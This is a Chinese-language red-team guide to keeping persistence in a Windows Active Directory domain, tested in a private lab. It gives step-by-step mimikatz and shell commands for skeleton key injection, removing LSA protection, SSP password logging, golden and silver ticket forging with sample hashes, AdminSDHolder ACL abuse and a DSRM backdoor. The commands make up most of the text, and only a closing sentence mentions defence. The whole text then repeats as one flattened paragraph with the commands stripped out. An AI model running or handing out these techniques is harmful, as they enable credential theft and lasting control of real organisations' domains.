域内持久化总结
字数 1848 2025-08-29 08:31:53

域内持久化技术全面指南

前言

本文总结了多种常见的域内持久化技术,包括万能密码、LSA绕过、SSP注入、黄金票据、白银票据、AdminSDHolder滥用、SID History后门和DSRM后门等技术。这些技术可以帮助攻击者在获取域控权限后维持长期访问权限。

实验环境

  • 域名: redteam
  • 域控: 192.168.1.132 主机名:DC 版本:winserver2019 x64
  • 有域管权限的域内机器:192.168.1.133 主机名:IT 版本:winserver2012 x64

万能密码(Skeleton-Key)

使用前提

  • 在64位域控服务器上使用
  • 只是让所有域用户使用同一个万能密码进行登录
  • 当前用户仍可以用原密码登录
  • 重启后失效

实现原理

在DC上以域控权限运行skeleton,将Kerberos认证加密降到RC4_HMAC_MD5,并以内存更新的方式给lsass.exe进程patch一个主密码mimikatz。

实验步骤

  1. 在域控以管理员权限运行mimikatz:
    privilege ::debug
    misc ::skeleton
    
  2. 查看现有连接并注销:
    net use
    net use \\192.168.1.132\ipc$ /del /y
    
  3. 使用域管理员账号和Skeleton Key连接域控:
    net use \\DC\c$ "mimikatz" /user:redteam\administrator
    

注意事项

  • 只能使用域控主机名连接,不能使用IP直接连接
  • 普通域用户无权限访问域控内容
  • 重启域控后万能密码失效

LSA绕过

LSA保护机制

Windows 8.1开始为LSA提供额外保护,要求所有加载到LSA的插件都必须使用Microsoft签名。

开启LSA保护

REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "RunAsPPL" /t REG_DWORD /d "00000001" /f

绕过方法

使用mimikatz的mimidrv.sys驱动程序:

privilege::debug
!+
!processprotect /process:lsass.exe /remove
misc::skeleton

SSP持久化

SSP简介

SSP(Security Support Provider)是Windows身份认证机制的提供者,如NTLM、Kerberos等。

内存注入方式

privilege::debug
misc::memssp
  • 注销用户重新登录后,在C:\Windows\System32\mimilsa.log获取明文密码
  • 重启后失效

加载mimilib.dll方式

  1. 将mimilib.dll复制到C:\Windows\System32\
  2. 修改注册表:
    reg add "hklm\system\currentcontrolset\control\lsa\" /v "Security Packages" /d "mimilib.dll" /t REG_MULTI_SZ
    
  3. 重启后明文密码保存在C:\Windows\System32\Kiwissp.log

两种方式差异

  • 内存注入:必须重新登录,重启后失效
  • mimilib.dll:必须重启,永久有效

黄金票据(Golden Ticket)

制作条件

  1. 域名称
  2. 域的SID值
  3. 域的KRBTGT账户密码HASH
  4. 伪造用户名(可任意)

利用步骤

  1. 获取krbtgt的HASH:
    lsadump::dcsync /redteam.local /user:krbtgt
    
  2. 生成黄金票据(去掉SID最后一个-后的值):
    kerberos::golden /admin:administrator /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /krbtgt:c1fae0c27a40526e4ade2065d9646427 /ticket:golden.kiribi
    
  3. 导入内存:
    kerberos::purge
    kerberos::ptt golden.kiribi
    kerberos::list
    

注意事项

  • 票据默认20分钟内有效,过期后需重新导入
  • 可伪造任意用户(即使不存在)
  • krbtgt的NTLM hash通常不会轻易改变

白银票据(Silver Ticket)

制作条件

  1. 域名称
  2. 域的SID值
  3. 域的服务账户密码HASH(非krbtgt)
  4. 伪造用户名(可任意)

利用步骤

  1. 获取服务账户(如DC)的HASH:
    privilege::debug
    sekurlsa::logonpasswords
    
  2. 生成白银票据:
    kerberos::golden /domain:redteam.local /sid:S-1-5-21-3458133008-801623762-2841880732 /target:DC.redteam.local /service:cifs /rc4:d0bcb64fc54fedf6adc2a53d78dcdec6 /user:testone /ptt
    

黄金票据与白银票据区别

  1. 访问权限:
    • 黄金票据:伪造TGT,可获取任何Kerberos服务权限
    • 白银票据:伪造TGS,只能访问指定服务
  2. 加密方式:
    • 黄金票据:由krbtgt的Hash加密
    • 白银票据:由服务端密码的Hash加密
  3. 认证流程:
    • 黄金票据:需要访问域控(KDC)
    • 白银票据:可直接跳过KDC访问服务器

AdminSDHolder滥用

原理

AdminSDHolder是受保护AD账户和组的模板,修改其ACL可影响所有受保护组。

利用步骤

  1. 添加用户权限:
    Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName IT -Verbose -Rights All
    
  2. 修改生效时间(默认60分钟):
    reg add hklm\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v AdminSDProtectFrequency /t REG_DWORD /d 60
    
  3. 验证权限:
    Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{ $_.IdentityReference -match 'IT' }
    
  4. 添加域管权限:
    net group "domain admins" IT /add /domain
    

SID History后门

SID介绍

每个用户账号有唯一SID,格式如:S-1-5-21-310440588-250036847-580389505-500

  • S:表示SID
  • 1:版本号
  • 5:颁发机构(NT)
  • 21-...:域标识
  • 500:相对标识符(RID)

常见RID

  • 500:管理员
  • 519:EA
  • 501:Guest

利用方法

(注:在winserver2019 17763域控测试失败)

DSRM后门

原理

DSRM(目录服务恢复模式)是域控制器的安全模式启动选项,每个DC有一个本地管理员账户。

利用步骤

  1. 同步DSRM密码:
    ntdsutil
    SET DSRM PASSWORD
    SYNC FROM DOMAIN ACCOUNT domainusername
    
  2. 修改注册表允许网络登录:
    New-ItemProperty "hklm:\system\currentcontrolset\control\lsa\" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
    
  3. 使用mimikatz进行PTH攻击

总结

本文详细介绍了多种域内持久化技术,攻击者可根据不同环境选择合适的技术组合使用。防御方应定期检查域控配置、监控异常活动并及时更新补丁。

域内持久化技术全面指南 前言 本文总结了多种常见的域内持久化技术,包括万能密码、LSA绕过、SSP注入、黄金票据、白银票据、AdminSDHolder滥用、SID History后门和DSRM后门等技术。这些技术可以帮助攻击者在获取域控权限后维持长期访问权限。 实验环境 域名: redteam 域控: 192.168.1.132 主机名:DC 版本:winserver2019 x64 有域管权限的域内机器:192.168.1.133 主机名:IT 版本:winserver2012 x64 万能密码(Skeleton-Key) 使用前提 在64位域控服务器上使用 只是让所有域用户使用同一个万能密码进行登录 当前用户仍可以用原密码登录 重启后失效 实现原理 在DC上以域控权限运行skeleton,将Kerberos认证加密降到RC4_ HMAC_ MD5,并以内存更新的方式给lsass.exe进程patch一个主密码mimikatz。 实验步骤 在域控以管理员权限运行mimikatz: 查看现有连接并注销: 使用域管理员账号和Skeleton Key连接域控: 注意事项 只能使用域控主机名连接,不能使用IP直接连接 普通域用户无权限访问域控内容 重启域控后万能密码失效 LSA绕过 LSA保护机制 Windows 8.1开始为LSA提供额外保护,要求所有加载到LSA的插件都必须使用Microsoft签名。 开启LSA保护 绕过方法 使用mimikatz的mimidrv.sys驱动程序: SSP持久化 SSP简介 SSP(Security Support Provider)是Windows身份认证机制的提供者,如NTLM、Kerberos等。 内存注入方式 注销用户重新登录后,在C:\Windows\System32\mimilsa.log获取明文密码 重启后失效 加载mimilib.dll方式 将mimilib.dll复制到C:\Windows\System32\ 修改注册表: 重启后明文密码保存在C:\Windows\System32\Kiwissp.log 两种方式差异 内存注入:必须重新登录,重启后失效 mimilib.dll:必须重启,永久有效 黄金票据(Golden Ticket) 制作条件 域名称 域的SID值 域的KRBTGT账户密码HASH 伪造用户名(可任意) 利用步骤 获取krbtgt的HASH: 生成黄金票据(去掉SID最后一个-后的值): 导入内存: 注意事项 票据默认20分钟内有效,过期后需重新导入 可伪造任意用户(即使不存在) krbtgt的NTLM hash通常不会轻易改变 白银票据(Silver Ticket) 制作条件 域名称 域的SID值 域的服务账户密码HASH(非krbtgt) 伪造用户名(可任意) 利用步骤 获取服务账户(如DC)的HASH: 生成白银票据: 黄金票据与白银票据区别 访问权限: 黄金票据:伪造TGT,可获取任何Kerberos服务权限 白银票据:伪造TGS,只能访问指定服务 加密方式: 黄金票据:由krbtgt的Hash加密 白银票据:由服务端密码的Hash加密 认证流程: 黄金票据:需要访问域控(KDC) 白银票据:可直接跳过KDC访问服务器 AdminSDHolder滥用 原理 AdminSDHolder是受保护AD账户和组的模板,修改其ACL可影响所有受保护组。 利用步骤 添加用户权限: 修改生效时间(默认60分钟): 验证权限: 添加域管权限: SID History后门 SID介绍 每个用户账号有唯一SID,格式如:S-1-5-21-310440588-250036847-580389505-500 S:表示SID 1:版本号 5:颁发机构(NT) 21-...:域标识 500:相对标识符(RID) 常见RID 500:管理员 519:EA 501:Guest 利用方法 (注:在winserver2019 17763域控测试失败) DSRM后门 原理 DSRM(目录服务恢复模式)是域控制器的安全模式启动选项,每个DC有一个本地管理员账户。 利用步骤 同步DSRM密码: 修改注册表允许网络登录: 使用mimikatz进行PTH攻击 总结 本文详细介绍了多种域内持久化技术,攻击者可根据不同环境选择合适的技术组合使用。防御方应定期检查域控配置、监控异常活动并及时更新补丁。